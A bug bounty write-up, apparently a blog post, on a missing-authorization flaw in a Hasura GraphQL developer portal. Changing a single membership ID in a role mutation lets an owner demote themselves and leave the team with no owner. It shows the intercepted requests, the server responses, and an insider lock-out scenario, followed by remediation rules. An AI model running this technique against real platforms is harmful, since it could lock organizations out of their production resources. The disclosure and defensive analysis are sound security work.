October 16, 2026
Write-Up: How I Found a Business Logic Flaw That Permanently Orphaned Teams on a Developer Platform
Author: Mohamed Atef Date: October 2026 Program: Disclosed via Private Bug Bounty Program (HackerOne) β Pending Public Disclosure Severityβ¦

By Mohamed Atef
5 min read
Author: Mohamed Atef Date: October 2026 Program: Disclosed via Private Bug Bounty Program (HackerOne) β Pending Public Disclosure Severity: High (CVSS v4.0: 8.3) Status: Reported β Awaiting Triage CWE: CWE-862 β Missing Authorization
Introduction
Bug bounty hunting is not always about finding memory corruption bugs or SQL injections. Some of the most impactful findings come from understanding how a system should work β and then proving that the backend doesn't agree with the frontend.
This write-up covers a business logic vulnerability I discovered on a private developer portal during an authorized bug bounty engagement on HackerOne. The vulnerability allowed a team Owner to permanently downgrade their own role through a direct API call, completely bypassing the GUI restriction β leaving the team with zero owners and no recovery path.
I am not disclosing the program name or domain at this time, in line with responsible disclosure practices.
Background β Understanding the Target
The platform I was testing is a developer portal where organizations create teams to manage applications, API credentials, and integrations. Teams follow a three-tier role model:
OWNER > ADMIN > MEMBEROWNER > ADMIN > MEMBERKey business rules (as documented in the GUI):
- Only the
OWNERcan manage member roles - An owner cannot change their own role β the GUI enforces this
- Teams must always have at least one owner
The platform's backend was built on GraphQL, powered by Hasura β an open-source GraphQL engine that auto-generates CRUD mutations over a PostgreSQL database.
The Discovery
While testing the team management features, I navigated to the Team Settings β Members page. I noticed I could edit the roles of other team members as an Owner, but my own row had the edit option restricted β as expected.
My first instinct was: "Is this restriction only in the frontend?"
I opened Burp Suite and intercepted the GraphQL request that fires when legitimately changing another member's role. The request looked like this:
POST /api/v1/graphql HTTP/2
Host: [REDACTED]
Cookie: __session_0=<JWT_SESSION_TOKEN>
Content-Type: application/json
{
"operationName": "EditRole",
"variables": {
"membershipId": "<TARGET_MEMBERSHIP_ID>",
"role": "ADMIN"
},
"extensions": {
"clientLibrary": {
"name": "@apollo/client",
"version": "4.2.7"
}
},
"query": "mutation EditRole($membershipId: String!, $role: role_enum) {\n update_membership_by_pk(pk_columns: {id: $membershipId}, set: {role: $role}) {\n role\n __typename\n }\n}"
}POST /api/v1/graphql HTTP/2
Host: [REDACTED]
Cookie: __session_0=<JWT_SESSION_TOKEN>
Content-Type: application/json
{
"operationName": "EditRole",
"variables": {
"membershipId": "<TARGET_MEMBERSHIP_ID>",
"role": "ADMIN"
},
"extensions": {
"clientLibrary": {
"name": "@apollo/client",
"version": "4.2.7"
}
},
"query": "mutation EditRole($membershipId: String!, $role: role_enum) {\n update_membership_by_pk(pk_columns: {id: $membershipId}, set: {role: $role}) {\n role\n __typename\n }\n}"
}The mutation being called β update_membership_by_pk β is a Hasura auto-generated mutation. This immediately caught my attention. Hasura auto-generates powerful CRUD operations, and if the row-level permission rules aren't carefully configured, they can be abused.
Finding My Own Membership ID
Before I could test self-modification, I needed my own membershipId. I fetched the team members list through the GraphQL API (another query the frontend calls normally). The response included my own membership record:
{
"id": "memb_[REDACTED]",
"role": "OWNER",
"user": {
"email": "[MY_EMAIL]",
"name": "[MY_NAME]"
}
}{
"id": "memb_[REDACTED]",
"role": "OWNER",
"user": {
"email": "[MY_EMAIL]",
"name": "[MY_NAME]"
}
}With my own membershipId in hand, I moved to the Repeater tab in Burp Suite.
The Attack
I modified the membershipId in the EditRole mutation to point to my own membership ID β keeping everything else the same, including my own Owner session cookie:
{
"operationName": "EditRole",
"variables": {
"membershipId": "memb_[MY_OWN_ID]",
"role": "ADMIN"
}
}{
"operationName": "EditRole",
"variables": {
"membershipId": "memb_[MY_OWN_ID]",
"role": "ADMIN"
}
}I hit Send.
Expected Response:
HTTP/2 403 Forbidden
{
"error": "You cannot modify your own owner role."
}HTTP/2 403 Forbidden
{
"error": "You cannot modify your own owner role."
}Actual Response:
HTTP/2 200 OK
{
"data": {
"update_membership_by_pk": {
"role": "ADMIN",
"__typename": "membership"
}
}
}HTTP/2 200 OK
{
"data": {
"update_membership_by_pk": {
"role": "ADMIN",
"__typename": "membership"
}
}
}The server returned 200 OK and confirmed my role was now ADMIN.
Confirming the Impact
I refreshed the Team Members page. Here's what changed:
Before:
Member A: Admin Member B: Member Me: Owner
After:
Member A: Admin Member B: Admin Me: Admin Zero owners remaining
The team now had no owner. I then tested whether I could promote myself back to Owner as an Admin:
Result: Blocked._ The server correctly rejected the escalation attempt β only an Owner can assign the Owner role, and there was no longer one._
The team was permanently orphaned with no in-platform recovery path.
Why This Is More Than Just "Self-Harm"
At first glance, this might seem like a user hurting themselves. But the real impact is much broader:
1. Complete Team Management Destruction
Once there are zero owners, no team member β regardless of their role β can:
- Add or remove members
- Change any member's role
- Modify team settings
- Delete the team or transfer ownership
2. Production Applications Become Unmanageable
The team owned registered applications with API credentials and production integrations. With zero owners:
- API keys cannot be rotated β a critical risk if keys are later compromised
- App configuration is frozen β no updates to redirect URIs, verification settings, or webhooks
- Incident response is impossible β the team cannot act on security events affecting live users
3. No In-Platform Recovery
The only way to restore an owner is through out-of-band support contact. There is no self-service recovery. The broken state persists indefinitely.
4. Insider Threat Scenario
A departing team owner (disgruntled employee, former contractor) could deliberately trigger this to permanently lock an organization out of their developer resources before leaving.
5. Secondary Bug: False Success Message
During testing, I found a related UI bug: when a non-owner (Admin) attempts to change a member's role through the GUI, the interface shows "Edit role successfully" β but the backend silently rejects the operation and nothing actually changes. This false success message was reported separately as a Low severity issue.
Root Cause Analysis
The vulnerability stems from a missing server-side authorization check in the EditRole GraphQL mutation.
The platform uses Hasura as its GraphQL engine. Hasura auto-generates the update_membership_by_pk mutation, and its row-level permission rules for the membership table were missing three critical checks:
Missing Check β β β -Consequence
requester.membership_id != target.membership_id:Owner can modify their own role
if target.role == OWNER AND ownerCount == 1 β reject:Team can have zero owners
Minimum-one-owner database invariant: Core business rule silently violated
The GUI enforced these rules in JavaScript β but JavaScript is client-side. Any user with Burp Suite can bypass it in seconds. The server should be the single source of truth for authorization decisions.
The Hasura Angle
This is worth noting for developers using Hasura: auto-generated mutations are powerful but dangerous if not properly gated.
Hasura's permission system allows you to define row-level rules per role. For the update permission on the membership table, the correct configuration should:
- Prevent users from updating rows where
id == their own membership ID - Enforce that at least one Owner remains after any role change
- Restrict the roles that can be assigned based on the requester's role
Without these rules, the Hasura mutation layer simply executes whatever valid SQL the client sends β as long as the user is authenticated. Authentication β Authorization.
Remediation Recommendations
Fix 1 β Hasura Permission Rule
Add a filter to the update permission for the membership table:
{
"filter": {
"_and": [
{ "id": { "_neq": "X-Hasura-Membership-Id" } },
{
"_or": [
{ "role": { "_neq": "OWNER" } },
{
"team": {
"memberships_aggregate": {
"count": { "predicate": { "_gt": 1 } },
"filter": { "role": { "_eq": "OWNER" } }
}
}
}
]
}
]
}
}{
"filter": {
"_and": [
{ "id": { "_neq": "X-Hasura-Membership-Id" } },
{
"_or": [
{ "role": { "_neq": "OWNER" } },
{
"team": {
"memberships_aggregate": {
"count": { "predicate": { "_gt": 1 } },
"filter": { "role": { "_eq": "OWNER" } }
}
}
}
]
}
]
}
}Fix 2β Database Constraint
Add a database-level constraint to ensure at least one OWNER exists per team at all times β making it impossible for the broken state to persist even if application-layer checks are bypassed.
Key Takeaways for Bug Hunters
- Always test both directions. I tested Owner β Admin (worked) and Admin β Owner (blocked). Knowing both directions makes your report precise and credible.
- Identify the backend stack. Seeing
update_membership_by_pkin a GraphQL request immediately tells you it's Hasura. Knowing the stack helps you understand why the bug exists. - "Self-harm" bugs are still bugs. The fact that you're using your own session doesn't mean the impact is low. Always ask: "What happens to everything else when this action succeeds?"
- GUI restrictions prove intent, not enforcement. If the frontend blocks something, the backend should too. When it doesn't β that's your bug.
- Confirm the impact with screenshots. A before/after screenshot of the team showing zero owners is worth more than any amount of explanation.
Conclusion
This vulnerability is a reminder that business logic flaws can be as impactful as technical exploits. The platform had the right idea β the GUI correctly blocked self-demotion. But a security control that only lives in JavaScript is not a security control at all.
By intercepting a single GraphQL request and changing one parameter, it was possible to permanently destroy a team's management capability and freeze all its production applications β with no way to recover without contacting support.
Always test what the GUI says you can't do. Sometimes the server disagrees.
This write-up was published following responsible disclosure via HackerOne. The program name and domain are withheld pending public disclosure authorization.